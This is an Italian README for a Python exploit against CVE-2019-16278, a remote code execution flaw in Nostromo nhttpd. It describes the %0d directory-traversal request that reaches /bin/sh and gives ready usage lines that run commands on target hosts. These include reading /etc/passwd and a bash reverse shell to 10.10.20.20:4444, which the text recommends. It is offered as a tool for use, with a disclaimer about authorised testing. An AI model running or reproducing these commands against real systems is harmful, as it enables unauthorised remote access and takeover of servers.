CVE-2019-16278 - Nostromo nhttpd RCE

Descrizione della vulnerabilità

Vulnerabilità di esecuzione di codice in remoto in Nostromo nhttpd versioni <= 1.9.6 tramite directory traversal nella gestione delle richieste HTTP.

Versioni interessate

• Nostromo nhttpd 1.9.6 e precedenti

Dettagli dell'exploit

Questo exploit sfrutta una vulnerabilità di directory traversal utilizzando caratteri CRLF codificati in URL (%0d) per accedere a /bin/sh ed eseguire comandi arbitrari.

Come funziona:

1. Invia una richiesta POST con path traversal: /.%0d./.%0d./.%0d./.%0d./bin/sh
2. Utilizza l'header Content-Length per controllare la dimensione del payload
3. Esegue i comandi tramite redirezione della shell: echo\necho\n<command> 2>&1

Utilizzo

python3 cve-2019-16278.py <TARGET_IP> <PORT> <COMMAND>

Esempio:

python3 cve-2019-16278.py 192.168.1.100 80 "id"
python3 cve-2019-16278.py 10.10.10.10 8080 "cat /etc/passwd"
python3 cve-2019-16278.py target.com 80 "whoami"
python3 cve-2019-16278.py 10.10.10.10 80 "bash -c 'bash -i >& /dev/tcp/10.10.20.20/4444 0>&1'"

Reverse shell consigliata, a volte questo script non mostra nulla

Requisiti

• Python 3
• Accesso di rete al server di destinazione
• Target che esegue una versione vulnerabile di Nostromo nhttpd

Riferimenti

• CVE: CVE-2019-16278
• https://www.exploit-db.com/exploits/47837
• https://nvd.nist.gov/vuln/detail/CVE-2019-16278

Disclaimer

Questo strumento è destinato esclusivamente a scopi educativi e di test di sicurezza autorizzati. L'accesso non autorizzato ai sistemi informatici è illegale.